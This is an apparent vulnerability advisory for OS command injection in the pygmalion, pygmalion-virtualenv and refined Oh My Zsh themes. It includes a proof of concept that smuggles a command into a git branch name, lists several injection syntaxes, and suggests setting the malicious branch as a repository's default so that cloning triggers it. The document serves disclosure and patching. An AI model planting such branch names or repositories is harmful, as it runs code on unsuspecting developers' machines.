title: OS Command Injection in ohmyzsh/ohmyzsh
description: # Vulnerability in `pygmalion`, `pygmalion-virtualenv` and `refined` themes **Description**: these themes use `print -P` on user-supplied strings to print them to the terminal. All of them do that on git information, particularly the branch name, so if the branch has a specially-crafted name the vulnerability can be exploited. **Fixed in**: [b3ba9978](https://github.com/ohmyzsh/ohmyzsh/commit/b3ba9978). **Impacted areas**: - `pygmalion` theme. - `pygmalion-virtualenv` theme. - `refined` theme.
problem types: CWE-78 OS Command Injection
affected:
{
product: ohmyzsh/ohmyzsh
vendor: ohmyzsh
versions:
lessThan: b3ba9978, status: affected, version: unspecified, versionType: custom
}
metrics:
cvssV3_1: [
attackComplexity: HIGH
attackVector: NETWORK
availabilityImpact: HIGH
baseScore: 7.5
baseSeverity: HIGH
confidentialityImpact: HIGH
integrityImpact: HIGH
privilegesRequired: NONE
scope: UNCHANGED
userInteraction: REQUIRED
vectorString: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H
version: 3.1
]
exploits: **Exploit PoC**:
1. Install Oh My Zsh.
2. Enable the `pygmalion`, `pygmalion-virtualenv` or `refined` themes.
3. Create and `cd` into a new git repository: `git init bad-repo && cd bad-repo`.
4. Create and switch to a new branch with a name containing either `$(<injected-command>`, <code>\`\<injected-command\>\`</code> or `${(e):-"<injected-command>"}`:
```sh
badbranch='feat/bad-branch$(id>/dev/tty)'
git checkout -b "$badbranch"
```
In the `pygmalion` theme, the prompt changes changes from the default branch to:
```console
user@host:~/exploit-poc|master ⇒  badbranch='feat/bad-branch$(id>/dev/tty)'; git checkout -b "$badbranch"
Switched to a new branch 'feat/bad-branch$(id>/dev/tty)'
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),...
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),...
user@host:~/exploit-poc|feat/bad-branch ⇒
```
A similar thing happens in `pygmalion-virtualenv` and `refined` themes.
NOTE: for maximum impact, you can define the malicious branch name as the default branch name in GitHub, so that when a user clones it for the first time and enters the repository, the malicious branch is automatically checked out. That means that the user only needs to clone and enter the repository for the exploit to work.